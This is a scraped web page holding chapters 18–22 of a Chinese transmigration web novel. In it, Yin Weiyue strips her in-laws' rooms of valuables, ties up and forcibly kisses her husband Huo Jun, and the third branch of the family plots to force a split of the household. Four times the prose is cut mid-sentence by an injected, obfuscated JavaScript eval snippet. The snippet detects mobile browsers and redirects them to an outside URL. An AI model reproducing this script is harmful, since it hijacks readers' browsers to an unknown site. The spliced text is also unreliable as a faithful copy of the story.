“我的给你。”尹微月正高兴把碗里的夹生饭送出去了,谁知下一秒霍钧又把他的半碗豆饭匀给她一半,还连带那两块大肥肉。 尹微月:“……” 那句至理名言怎么说来着?是你的终究是你的,躲也躲不掉! 18. 第18章 在一众目光中,尹微月只能继续硬着头皮吃饭,不行,这伙食给猪吃,猪也得嗷嚎着要减肥。 还有半年时间,不能再这样下去了,大房一个个全都骨瘦如柴,就算流放第一天不死,这身子骨也熬不过流放路上的重重艰辛。 尹微月在脑子里设想了一百种训练方法,俯卧撑、仰卧起坐、蛙跳、赤足负重跑等等,但看了看这些大家闺秀们又叹口气,还是从补充营养开始吧。 收拾好碗筷后众人都各自回房了,尹微月没急着走,而是对老太太说,“祖母,我刚才把饭给几个孩子不是舍己为人,而是那些饭实在太难吃。这样,您给我点东西,让我典了换些好菜好饭吧。” “你这丫头,我刚夸了你,你就打我的脸。”老太太被尹微月的诚实打败了。 “祖母,我因为不肯和离跟娘家闹翻了,父亲母亲再也不给我送饭了,我都想好了,以后和霍钧好好过日子,可我实在吃不下这样的饭。” 尹微月试着用撒娇的语气对老太太说,她从未这么干过,如今好不容易有个长辈在,所以情不自禁试了一下。 “好好好,我屋里就这些个家当,看中什么你就拿吧。不过丫头,祖母可要提醒你,既然不肯和离选了这条路,就要做好吃苦的准备。” “我知道了,祖母。” 尹微月没想到她的第一次撒娇竟然就这样轻松成功了,老太太不仅没责怪她“红杏出墙”,还愿意在这么困难的时候拿值钱的财物给她。 心里某个地方被触及,她有点小感动。 于是尹微月一激动,把老太太房里的东西全拿走了。 其实也没有很多,一床棉被,一床貂皮褥子,一床薄衾,四季衣服装了一衣笥,连头上的银簪都换成了一双木筷子,只给她留了一套铺盖和一套换洗衣服。 本来尹微月想把那嵌金的紫檀木拐杖也拿走,但怕老太太不适应,别再摔了,就先放家里应个急,以后再处理。 还有半年就流放了,她必须提前把东西都换成银子买吃食,否则到了流放那天都便宜那帮兵卒了。 这是目前的大事之一,她得找个靠谱的守卫换银子才行,否则都被外面这帮人贪了。 东西全拿走,老太太倒是没什么反应,但待会儿其他人会不会发飙,尹微月就不知道了。 紧接着尹微月又去扫荡了贺氏苏氏的院子,同样就给两人留下一套铺盖和一套换洗衣服。 尹氏才好了一下午,没想到刚吃完晚饭又不干人事了,两个嫂子哭着跑到婆母跟前告状,而此时的尹微月恰好在冯氏房里搜罗。 冯氏扶着额头低声呵斥:“让她搬,让她拿,打也打不过,骂也骂不过,让她搬空了清净,我就不信老天爷这么不开眼,非要绝了我们大房!” “尹氏,你是土匪不成!”霍婉瑛满脸气愤跑进来,下午刚攒的好感度在这一刻全部清空。 尹微月没生气,她走到霍婉瑛跟前手轻轻一抬,将银步摇摘下来。一刹那黑发垂下,霍婉瑛那因为气愤而涨红的脸,映着夜晚的星光,真是美极了。 尹微月一副我“闺女”天下第一美的心态。 霍婉瑛不知道自己又被占了便宜,刚想抢回来,只听尹微月轻声在她耳边说一句:“过几天我给你买桑葚酒喝。” 霍婉瑛一震:“你……”她怎么知道她喜欢喝桑葚酒? 尹微月笑着拍了拍她的肩膀,在大家愤怒的目光中悠哉悠哉抱着大包小包走了。 老太太的,婆母的,两个嫂子的,小姑子的,五个院子所有东西加在一起也没多少,通通都拿回自己房里。 回来后,尹微月又开始归拢霍钧和原身的财物。 霍钧的东西是最少的,四季衣服各两套,再就是一床铺盖,其余没啥了。 原身的就比较多了,被褥单的棉的各四床,衣服整整装满了十个衣笥,光金银首饰就有五匣子。 尹微月把自己身上的所有首饰都摘下来放进首饰匣里,然后也用一双筷子绾发,又在一个衣笥里发现三百两金子,和五千两银票。 原身的嫁妆体己早就被抄走了,这些全都是这两年,尹父尹母让奴仆借送饭的机会陆陆续续带来的。 如此看来,尹建章夫妇是真疼爱原身这个女儿,到头来倒让尹微月穿书得了济,只不过尹家夷三族非她一人之力能改,只能随剧情继续下去了。 首饰匣子旁边还放了好多瓶瓶罐罐,尹微月挨个打开,里面有的是膏体,有的是粉末,有的还有液体,一阵阵自然的清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601754|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香扑鼻而来。 她猜想应该是洗漱和护肤品,上辈子虽然不缺食物,但洗漱和护肤用品是没有的,于是她就跟着大姐学习古法生活用品的制作,大体都是这些味道。 她对原身的财产十分满意,等摸清门路,就立刻换些正经的食物,大房这些人得好好补身子。 而且这些钱不能都吃喝了,得想办法带身上,原身现在才十六岁,就算在深山住二十年,出来也才三十六岁,正是大好的青春年华,得有金银傍身。 再说,流放路上也得打点一下,才不会被那些押解官兵逼到绝境。 尹微月正收拾着,房门被推开。 霍钧进来,看到满地的包袱不由面色一沉,眼里也染了抹愠色。 “你背靠娘家要什么没有,何必惦记她们那三瓜两枣?你难道看不见孩子们瘦成什么样了吗?马上把东西给各院子送回去。” 尹微月原本打算和霍钧解释一下缘由,谁知这厮进门就用一种轻蔑的,看反派的眼神看她,那淡漠的姿态仿佛他是高高在上的神仙,而她只是他养的狗吃饱后拉的一泡臭狗屎。 解释的欲望瞬间化为乌有。 “我偏不还,你奈我何?” 霍钧觉得他一辈子的火都在今天被这个女人挑起来了,他深吸一口气,努力压抑自己的怒火,“好,你不还那我去还。” 然后诡异的画风就出现了—— 霍钧上前拿包袱,尹微月夺包袱,霍钧拿被子,尹微月夺被子。 男人抢东西抢不过摔倒后再爬起来,爬起来紧接着又被尹微月撂倒,一米八多的大个子,被尹微月折腾累得在地上哼哧哼哧喘粗气。 “啧啧,你不行呀,当真不是个男人。” 尹微月感叹幸好自己共享的是痛感,若要是共享累感,她非得让这厮活活累死不可。 霍钧大概又被这句话刺激了,还想再反抗,不料尹微月反手一剪把他胳膊别到身后。 女人小心翼翼不伤到他给自己找罪受,然后解开他的衣带将双手绑起来,拴在雕栏镂空的床头处。 “尹微月!”男人连名带姓叫她,此时他头发略显散乱,衣襟微微敞开,胸口因为刚才的争抢而剧烈起伏,那一贯淡漠的性子罕见露出了急躁。 19. 第19章 如水般的月色,从糊的白色封窗纸里透进来,她低下头,目光与他对视。 蓦地,两人耳旁“噗通噗通”的心跳声音有些大,一时也分不清是谁的。 尹微月拔下霍钧头上的白玉簪子,放进自己的妆匣里,回头时男人黑发一泻而下,因刚才一番折腾浑身沁出细汗,昏暗的烛火下,这一幕显得格外诱.人。 女人鬼使神差般抬起指尖轻抚那些汗珠,那一瞬仿佛有股电流从指尖窜入全身,继而她的手指不受控制地滑向他的唇。 “你、你要做甚?!”霍钧声音明显抖了,而尹微月却一意孤行,并未理会。 她缓缓靠近,两人的脸距离越来越近,越来越近…… 前世大姐经常说,一个男人和一个女人欢好,在彼此相爱的前提下,若男友正好是个高大壮实的,那女人就有福了,因为他有能力让女人感受快乐。 可眼前的男人只不过脸好看而已,他虽然个子高但瘦弱如鸡仔儿,他们不相爱,不是真夫妻,而且还互相讨厌…… 一想到这些,尹微月迷糊的脑袋清醒了一些。 作为一个十五年没见过男人、且灵魂30+的女人,她想发.泄.释.放这没有错,但人生第一次若找这样的男人,那就亏大发了。 不行,她的第一次怎么也得是个喜欢她的强壮男人才行。 然而霍钧那唇看起来实在太可口,色泽红润,厚重饱满,不知怎的越看就越想尝尝那味道,是不是和她前世在山里吃的野樱桃一个味儿…… 尹微月终究没忍住,遂用舌.尖轻扫浅尝了一下。 被轻薄的男人猛地瞪大双眼,尹微月嫌那眸光太碍事直接用手捂住,然后她就失控了,像猫咪发现小鱼干一般不能自拔。 “尹微月,你、你不是喜欢霍开,一直给他守身如玉吗?快放、放开我!”唇.齿.交.缠间,被绑的霍钧只能断断续续发出声音,可惜反抗无效。 “错,傻帽才给不懂珍惜的男人守身如玉,老娘以后一定要尝遍天下美男子。” 半晌后,他的唇被尹微月毫无章法地啃肿,窒息的前一秒她终于放开了他,为了缓解加自控,她在他脖子处狠狠咬了一口,直到满口铁锈味道才松口。 “你,放肆!”霍钧的低吼中透着轻颤和嘶哑。 他眼珠有些红,嘴唇肿肿的,因为衣带用来捆绑双手,他前襟早已凌乱开了,现在这模样活像个刚被蹂.躏完的小媳妇。 很显然,对于霍钧的言语反抗尹微月根本不放在眼里,她反而直勾勾盯着他脖子上的血色牙印,然后慢慢轻抚自己脖子同样的位置,眼里满是震惊。 刚才咬他一口,都见血了,可她同样的位置竟然不痛! 像是发现了什么,下一秒,尹微月对着男人的帅脸就是一巴掌。 “啪!”声音响亮清脆,霍钧左脸颊瞬间多了五个通红的手指印,尹微月摸摸自己的脸,没有共享,真的不痛。 为了再确认一遍,她又给男人右脸颊也赠送了五个手指印。 最后实践出真知,由尹微月造成的伤害,并不会再共享回她自己身上,换句话说,这个男人以后她可以随意欺负了。 尹微月又转念一想,既然自己制造的痛不会共享,不如干脆趁这机会杀了霍钧,一了百了,也免得他日后流放吃苦受难,历经亲人离世之痛。 正所谓早死早超生,自己这还是助人为乐帮他解脱了呢。 谁料念头刚起,消失许久的系统音再次出现:【你可以揍他,但不能杀他,否则系统会开启同归于尽模式。】 尹微月:“……”好吧,能揍就行。 “羞辱够了么?若够了,你马上——唔!”霍钧的话被打断,女人脱下自己的罗袜,直接塞入了他口中。 “唔唔……” 尹微月嘴角浮上一抹笑,“身子别扭,更别淫.叫,否则姑奶奶忍不住办了你,我可不负责任。” 霍钧登时不敢出声了,偌大的身躯竟往后缩了缩,眼里全是戒备,衬得尹微月更像是下山来抢媳妇的土匪。 …… 相比霍钧和尹微月刚才的干柴对烈火,此时三房的气氛就显得剑拔弩张了一些。 “呜呜……我的命怎么这么苦啊……儿子不疼,相公不爱,干脆让尹氏那个小贱.妇打死我算了!”陈氏趴在床上低声哭着,屁股只是皮肉伤没有大碍,刚上完药,染血的衣服也已经被换了下来。 霍开坐在床边。 “您是我的亲娘我怎么可能不疼你!可这一桩一桩的事的确是您做错了,为什么事到如今您还不悔过?就说今日这顿晚食,家里那么多吃的,您却哭着闹着只肯给老太太送一碗猪头肉,还故意让宋姨娘做得又咸又老。若今后再如此我就绝食,我管不了您,我管我自己的嘴总成了吧!” “你竟为了大房,跟母亲我以死相逼?呜呜……我不活了……老天爷呀,您开眼看看我生了个什么混账东西!” 三老爷霍安宗坐在床旁边的椅子上,他面色不豫,但更多的是无奈。 “你还有脸哭,我到今天才知道你差点害死我的亲侄儿,我怎么对得起大哥,怎么对得起列祖列宗?残害霍家子孙是触了老太太的逆鳞了,打你一百拐棍都是轻的。还有,我早就说过把财物按照王公公的嘱咐给大房送去一半,你偏不听。 那王公公是谁?那可是皇上跟前得宠的近侍,他的意思就是皇上的意思,等着瞧吧,大哥一定会被放出来的。你呀,真是头发长见识短,一点远见都没有,等到时候我看你怎么收场。 马上归拢一下钱物,挪出一半明儿一早就让开儿给大房送去,趁这个机会好好跟大嫂缓和一下关系,一家人抬头不见低头见,以后尚不至于太难看。” 陈氏骤然收了哭声。 “你大哥若能放出来早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608396|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放出来了,别打量我是妇道人家以为我什么都不懂。这事牵扯太子,多少人等着他落马呢,可见皇上如今被掣肘,已经到了帝王不能定天下事的局面。朝堂上风头正盛的是四皇子,弄不好就要变天了。” 霍安宗用手指着她:“你呀你,脑袋是被驴踢了么?我们全家都倚仗着大哥,和他是血亲呐,若他谋反罪名被坐实,咱们立刻集体掉脑袋。你整日盼着他不得好,难不成是想要早登西天极乐?” “呸呸呸,你才想上西天呢!”陈氏愤恨打了三下床头,“我就是知道命跟大房绑在一起,所以我才不把财物给他们,我们连自己能活多久都不知道,剩下的日子,不抓住银钱吃好喝好穿好,难道要挨饿受冻等着砍头吗? 就是你那好大哥、好侄儿才把我们害成今天这个样子的,若把财物给大房送去,这两年你和你那两个贱妾还能每顿大鱼大肉?老爷前头享受着,后头又怪我对大房心狠,果真是有了这两个小狐狸精,我这个为你生儿育女的发妻就成黄脸婆了!” “你……说正经事呢,无缘无故又提这茬作甚!”霍安宗坐不住了,连带着站在他身后那两个小妾更是低下头不敢发一语。 说起来陈氏在御夫方面很有一套。 霍安宗性子比大哥霍安疆软,也没什么抱负和主见,成亲后陈氏看到这一点,将他拿捏得死死的,一进门就强硬散了他的那些个通房。 书里陈氏也是奇葩,身为庶女的她深知母凭子贵的道理,所以成亲后她就着重干了两件事:一拿捏霍安宗,二生孩子。 陈氏很猛,嫁进来没几年就接连生了三胎,若按年数上算平均13个月就生下一胎,只不过都是丫头。 在她接连生了三个闺女后,心里有些害怕了,而此时的霍安宗虽然仍对她言听计从,却不如刚成亲时那般疼爱她。 陈氏想,这定是老太太看她生不出儿子在背后挑唆的,与其让霍安宗自己纳妾来戳她眼珠子,不如自己挑几个好拿捏的贱婢放他身边。 于是陈氏将伺候她的两个二等丫鬟吴氏和宋氏开了脸,主动送给霍安宗。 陈氏主动纳妾那是因为自己生不出儿子被迫为之,她一万个不愿意有庶子女出世,于是又暗中偷偷给两个妾室下了药,使她们不能生育。 霍安宗自是不知真相,以为自己没儿子命,也就没了再纳妾的心思,直到陈氏生下了霍开这根独苗才终于松了一口气。 成亲这么多年,今日是霍安宗第一次当众言辞犀利数落陈氏,屋子里气氛顿时降到冰点。 这时,一直站在床头处的女人开口了。 “都说娶了媳妇忘了娘,今天五弟可算让我开眼了。不过我就纳闷了,关于王公公留下的财物,我们都守口如瓶,大房那些人是如何知道的?弟妹你说呢?” 在霍安宗和陈氏龃龉时,大女儿霍婉玉开口直接替陈氏解了围,精准将矛头指向了张语琳。 20. 第20章 陈氏的这三个女儿,大姐霍婉玉二十一岁,二姐霍婉淑二十岁,三姐霍婉嫣十九岁。三人先前早都定了亲,可好巧不巧三家未婚夫婿家里,陆陆续续都办了白事要守孝三年。 好不容易熬过了孝期,眼看出嫁日子近了,霍家却出事了。 谋逆可是诛九族的重罪,三人的未婚夫婿怕被牵扯都来退了亲,于是她们就这样变成了剩女弃在闺阁,也实在命苦。 不过好在霍安宗夫妇对这三个女儿宝贝的很,她们与陈氏极其贴心,只不过婆家有这样三个大姑姐天天挑刺,可苦了女主张语琳。 面对霍婉玉的指责,一直安静站在霍开身后的张语琳平静开口,“回大姐姐,语琳不知。” 霍婉玉又道:“听说你今日去老太太院里,每句话都帮着大房在母亲心口窝上扎刀子。母亲都伤成这样了,你却和霍钧他们一起拦着五弟不让他走。怎的,难不成也想学那尹微月红杏出墙?只可惜,你没她那么一个权贵老子替你善后!” “可不是嘛,俗话说——”她话音一落,霍婉淑和霍婉焉也跟着附和,可一句话没说完,就被霍开瞪了回去。 可能大姑姐对弟媳妇天生就有股敌意,就像婆媳关系一样剪不断,理还乱。当一旁的霍婉淑和霍婉嫣也想在这个话题上添把火时,却被霍开吓得噤了声。 是的,她俩怕霍开。 霍婉玉不怕他,那是因为大姐当年没有亲眼目睹霍开的所作所为,他若疯起来六亲不认,当年舅舅家的惨事二人至今记忆犹新。 因陈氏当年算计婚事,又是家中庶出,所以被娘家极不待见,每次回娘家都要被欺侮一翻。 那年正月陈氏带着四个孩子回娘家,谁知舅舅家十岁的大表哥刁难人,把同霍开一起长大的小厮故意推进池塘。 霍开为了救人大冬天跳入水中,可人还是死了,舅舅包庇儿子,不仅不管,还嫌大正月里死人晦气,将那小厮裹了草席扔了出去。 当天夜里,大表哥房间着火了,人同屋子一起被烧成了黑灰,在他房门不远处发现了滴答筋,满府上下彻查没发现别的线索,最后断定是他贪玩,偷偷在房间里点滴答筋,引发火灾烧死了自己。 可只有霍婉淑和霍婉焉知道真相。 她们姐俩跟那小厮年龄差不多,都是从小一起长大的玩伴,年龄小也没什么大防,感情不错。 那小厮死了,她们也很伤心,便趁着天黑大人们都在前厅吃席,仆从们都懈怠的点,偷偷跑到池塘这边祭拜。 可没多久池塘对面传来声响,是七岁的霍开,扛着十岁的大表哥。 冰冷漆黑的夜里,映着不怎么明亮的月光,她们看见大表哥被五花大绑,嘴也堵住,霍开把他的头摁进水塘里,任他怎么挣扎都不松手。 她们永远也忘不了那时霍开猩红的双目。 很快大表哥就不动了,霍开又将人抗走,之后大表哥屋子就走水了。 两人非常害怕,又怕此事被知晓霍开给大表哥抵命,便隐瞒下来,连母亲都不曾告诉。 从舅舅家回来,霍开生了一场大病,所有的事都忘了,而她们俩也就再未提起过,只是从此对这个弟弟多了些惧怕。 对一个小厮都如此重情,何况是他的媳妇,她们可不想再惹火这个冷面阎王。 果然,霍开立刻开口道:“语琳没有任何对不起我们家的地方,霍家现在正在风口浪尖上,都消停点不挑事行么?” 他非常讨厌姐姐和母亲动不动就找张语琳的茬,女人间的口角真的很烦。 陈氏一看儿子护着媳妇,心中的妒火立马燃了起来。 “你大姐姐说的没错,平日里张口闭口说的都是孝敬,到了关键时候竟然吃里扒外。可见她这两年来都是装的,巴不得我这个婆婆今日死在大房才好呢!” 而被骂的张语琳依旧眼观鼻鼻观心,仿佛这一家子骂的不是她。她很清楚自己的处境,这里不是现代,而是只讲权利的古代。 娘家势力微薄无法给她撑腰,老太太虽然疼她可自身难保,带来的嫁妆又都给抄了,现在吃喝拉撒全都得靠三房,而三房陈氏说了算。 若硬碰硬肯定她吃亏,最好的反击方式就是佛系+沉默,正所谓——“她骂由她骂,我偏不说话,她疯任她疯,我只当屁嘣。” 张语琳的这套战术屡试不爽,这不,她心里没什么,霍开却终于忍到了极限。 “母亲,你还要无理取闹到什么时候?总之明天必须把钱物给大房送去,以后我们吃什么,就得给祖母吃什么,你若不同意,一哭二闹三上吊这把戏我也会!” 霍开不想再留下吵架,于是拉起张语琳就走了。 “就照开儿说的办!”儿子走了,霍安宗更不想留下挨刺挠,于是带着两个小妾也匆忙走了。 陈氏气得双手锤床。 “母亲轻点,您屁股上还有伤呢。”霍婉玉连忙上前说道。 “你看看他们那什么态度,老子儿子一个死德行,生儿子有什么用,就知道护媳妇,我当初还不如生个棒槌!” “母亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624737|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您这是气话,张语琳不过是个出气筒罢了,说到底她还是咱们三房的人。真正跟我们有仇的是大房,您怎么本末倒置反跟父亲和五弟置起气了。” 霍婉玉一句话点醒了暴怒中的陈氏:“没错,害我们的是大房,若不是霍安疆这一家子,我们怎么会被抄家软禁,而你们三个又怎么会被退婚。” 提起退婚这茬,一旁的霍婉淑和霍婉嫣也禁不住红了眼,作为女人,她们的一辈子就这样毁了。 “所以,咱们三房的东西不能送给大房,一个子儿都不行!”霍婉玉紧握双拳,眼里铺开的全是恨。 “可你们也看到了,父亲和五弟这次态度很强硬,若母亲不照办,五弟是不会善罢甘休的。”霍婉淑怕把霍开逼急了,他又会像多年前那样发疯失控。 “母亲,大姐,不如咱们就捡一半不值钱的东西给大房送去吧,我觉得父亲说的对,虽说大伯现在下了大狱,可毕竟没砍头,皇上百分百要保他的。虽说皇上如今被掣肘,可再被掣肘毕竟也是皇上,保不准哪天就东山再起了,咱们不好做得太绝。” 霍婉嫣深知“凡事留一线日后好相见”的道理,况且霍府没倒时,大伯和大伯娘对她们很好,挑不出半点错处。 “三妹你什么意思?连你也要胳膊肘往外拐?” “大姐,我是在为咱们留一条后路。” “哼,后路?”霍婉玉轻嗤,“你怎么能确定霍安疆一定能从牢里出来?我们已经被关了两年,万一就这样一直关下去呢?五年十年依旧出不来呢?你现在把银钱送给大房,那我们往后的年月都等着喝西北风?” “好了,都别吵了!”陈氏牵动了屁股的伤,疼得龇牙咧嘴,“钱我是绝对不会给大房的,不过婉淑和婉焉说得也对,开儿若是犟起来,十头牛也拉不回,我不愿意因为这个伤了母子情分,所以此事不能和他硬来。” 说着陈氏手往东墙一指,“你们去把那衣柜挪开。” 三人不知何意,但还是由霍婉玉带头将柜子移开,后面的砖墙露出来。 “去,从下往上数把第五块青砖抽出来。”陈氏吩咐霍婉玉,“把砖拿开后里面有个涂红漆的机关,大拇指用力摁下去。” 霍婉玉震惊,第五块砖果然是松动的,她慢慢抽出来,里面赫然有个涂红漆的小圆木。她用力一摁,只听“咣当”一声,陈氏趴着的床头突然如芝麻开门一样打开了。 三个女儿谁也没想到,母亲这雕花红木的大床头竟然是空心的,里面放着一个二尺见方的金丝楠木匣子。 21. 第21章 陈氏从身上摸出一把钥匙,让霍婉玉把匣子打开。 “这个机关是我瞒着你父亲特意设计的,里面全是我这么多年攒下的名贵金首饰,本来是想暗地里藏点贵重首饰防老,谁知抄家后派上用场了。 抄家时因为王公公的遮掩,咱们三房家具抄没的少,所以这个机关就没暴露,金首饰也留了下来。别看数量不多,但这里面每一支首饰都是名家打造,式样也都是不容易过时的,就算拿到当铺被狠狠压了价,也没有低于三百两银子的。” “母亲,你果然是有先见之明的。”霍婉玉看着匣子里金光闪闪,她就更不愿意分给大房了。 “我上次典当了一支金鸳鸯发钗,换了三百四十两银子,正好还没花完,婉玉,你拿出二百两来。”陈氏小声交代大女儿。 “母亲,你这是打算给大房?” “哼,大房别想从我得到一分一厘!”陈氏摇摇头,“你拿这二百两,悄悄给二房和四房送去,就说这些银子全是我娘家接济我的,让他们明天一早,只要长齐了毛的都到老太太院里闹分家。 只要分了家我们就可以出府,以后霍安疆不管大罪小罪都跟我们没关系,若事成了,我娘家还会再给他们每房二百两用来安顿以后的生活。” 霍婉淑懂了:“五弟让我们明天一早给大房送钱,而娘为了拖延,就让二房、四房去闹分家。” 这时一旁的霍婉玉冷笑得有些渗人,她轻轻开口:“若分家时闹得不愉快,保不齐谁先动了手,那可就真热闹了。” 霍婉淑和霍婉嫣听完这个计划不由得相互对视一眼,这一眼里包含了太多复杂的情绪,但更多的是担忧。 陈氏脸上的表情就舒心多了。 今日老五为顾全大房颜面,竟公然放水,一招之内假装输给了尹微月,害她这个当娘的结结实实摔了一个屁股蹲。 那贱.妇不是扬言,小时候不会说话就先会打人了吗?好,那就让二房四房都去闹,看她那时还能打过谁! 在陈氏心里,霍开能文能武,小时候就能在大房老二手底下撑过十招,又怎么可能一招之内输给一个女人。 所以她认定了是自己儿子心肠太好,故意输的。 霍婉嫣知道自己劝不动母亲和大姐,但沉思片刻还是开了口。 “母亲,我们和大房毕竟是一脉同出,霍家出事很明显大伯父是被陷害的,至于我们三姐妹被退婚也是冥冥中注定的。 大房被诬陷,他们身不由己,而谋逆大罪谁牵扯上都怕株连九族,牟家、仇家和林家来退婚也是情理之中。 因为不管是谁,都不会为了一个未过门的女人而连累整个家族去死。但若我们暗示二房四房闹分家时可以动手打人,大房老的老,小的小会吃大亏的,我们真的要做得这么绝吗?” “我绝?绝得是老太太和冯氏,我就算再不好,她们也不能当众指使一个晚辈来打我!尹氏那贱.妇因为得不到老五,便疯了般羞辱我,从她们把我踩在地上任意践踏的时候,我和大房就不是一家人了!” 陈氏说着缓了一口气,使了个眼神让霍婉玉赶紧去办,转头又对霍婉淑和霍婉嫣说:“我伤疼得厉害,你们两个今晚跟我一起睡方便照顾我,分完家前,你俩谁也不准离开我的房间。” …… 第二日。 一阵急促的敲门声穿透了初春清晨的宁静,尹微月被吵醒,暴躁从床上弹起来。 昨晚她因为霍钧而浑身燥热一直翻来覆去,直到后半夜才睡着,这么早被吵醒自然多少带点起床气。 刚要去开门便看到床头底下拴着的霍钧,他嘴里塞着袜子,正在苦大仇深地瞪她,一看就是整夜没睡。 男人坐在地上,双手被紧紧绑在床头,衣襟全都开了,虽然胸前瘦得没有肌肉,但还是很养眼。他脖子上还有自己种下的一颗草莓和一排整齐的牙印,脸上的淡漠早已被自己昨晚的乱啃打碎,眼里通红的血丝一直延伸到眼尾处。 尹微月压制了一夜的欲.望,再次被男人此刻展现的禁.锢之美勾起来。 她使劲摇摇头保持理智,这才将男人嘴里的袜子拿下来,紧接着是霍钧剧烈的低咳声。 他说:“给我解开。” 尹微月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643468|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为霍钧一定会骂她,可他没有,也不看她,只是撇过头说了四个字,然后又恢复了以前的淡漠,仿佛昨晚的一切都没发生。 这厮还真能装。 既然天亮了,尹微月也不愿和他再折腾,于是去解衣带,手不经意间触碰到他的肌肤,引得男人又一阵颤栗。 “你、你快点!”霍钧咬牙低呵,脸上好容易塑造的淡漠又一次被打碎,此刻的心脏里就像装了一只斗鸡,正不分缘由地哐哐乱蹦。 男人从未有过如此磨人的经历,也不敢去看女人的脸,那张脸从前觉得寻常寡淡,如今瞥一眼,下腹处就觉得胀痛。 成亲将近三年的平淡无波,皆毁于昨夜的那个吻,霍钧暗恼自己竟然会被她的女色所误。 而眼前,尹微月终于解开了死扣,抬眼发现男人手腕处留下了一道通红的勒痕。 她忍不住嘲讽,这些富家子弟还真是细皮嫩肉,不过还好这勒痕是她造成的,所以痛觉不共享。 两人各自穿衣服,谁也不理谁,尹微月整理好自己去开门,门外又是小霍东。 “七嫂!”谁知这小子一见她就哇一声大哭抱住她的腿,所以没有注意一旁嘴唇被啃肿的七哥。 看来昨日尹微月教训陈氏,已经成功将这个九岁的孩子拿下。 “别哭,告诉七嫂怎么了?” “二房四房的两位姨老太太,还有两房的叔伯婶娘们,他们一大早就拖着母亲去祖母院里吵着要分家,祖母和母亲不肯,她们就要冲上来打母亲!” “什么?!”尹微月以为昨日震慑了陈氏,分家之事不会再发生,没想到这事不仅发生了,还足足提前了四天。 看来书里的天道法则很强,她想要改变原书内容还得下苦功夫,而且一定要谨慎谨慎再谨慎,不到最后一刻绝对不能掉以轻心。 就在尹微月反思自己太大意的时候,霍钧冷着脸当即就往老太太院里跑。女人看着他消失的背影,银牙差点咬碎了,赶紧领着霍东去追。 这厮自己什么段位没数么?跑那么快有什么用,去了也是给人当靶子,这不是害她么! 22. 第22章 就在尹微月跑到半路的时候,她蓦地停住脚步,同一时间右腮像被没剪指甲的野猫狠狠挠了一爪子,半张脸火辣辣得疼。 当然,这只是开始。 紧接着她就像被一堆野猫群殴了,撕头发、抓脸、挠脖子。 “啊!”不知哪个混蛋竟然挠她屁股。 是可忍孰不可忍。 “七嫂怎么了?”霍东看着尹微月一惊一乍,不禁奇怪地问。 尹微月捂着屁股咬牙切齿:“没事,七嫂带你打架去!” 而同一时间,老太太的厅堂里已经打起来了,不过是霍钧单方面被人打。 偌大的厅堂里围满了人,里面乱哄哄的全是叫骂声。老太太坐在圈椅上使劲敲着拐棍,嘴里喊着“住手、住手”,但都淹没在吵闹声中,没一个人听她的。 “老太太还当是以前的侯府呢,随便就可以对我们颐指气使。告诉你,兴武侯府早倒了,霍家也家不成家了,你们大房害得我们其余三房好苦!若你但凡还有点良心就痛痛快快同意分家,然后写陈情书让外面的侍卫递到皇上跟前,把我们都放出去,大房的罪大房自己受!” “没错,今天必须分家,若不同意我们就用不同意的法子,直到你们同意为止!” 刚踏进院子里,尹微月就听到这么些混账话。 只见老太太右手边依次坐着二姨老太太小刘氏和三姨老太太彭氏,也难为她们的子孙连椅子也搬来了。这两位脸上怡然自得的表情,与旁边老太太焦急的神色形成了鲜明的对比。 小刘氏是老太太的庶妹,当初以滕妾的身份随老太太一起嫁进兴武侯府。 她一共生了一子三女,女儿早都就出嫁了,并未受到牵连。儿子就是现在的二老爷霍安民,儿媳妇名为杜成茹。 霍安民一共生了五子三女,五个儿子中三个出生没多久就夭折了,而三个女儿也只活下来一个,是待字闺中的嫡幼女霍婉媚。 嫡长子霍山在霍家孙子辈里排老三,媳妇名为姜丽云。小妾穆氏和王氏生了不少孩子,但都夭折了,唯有一个庶子霍邱活了下来,排行老四,是小妾唐氏所生,尚未娶妻。 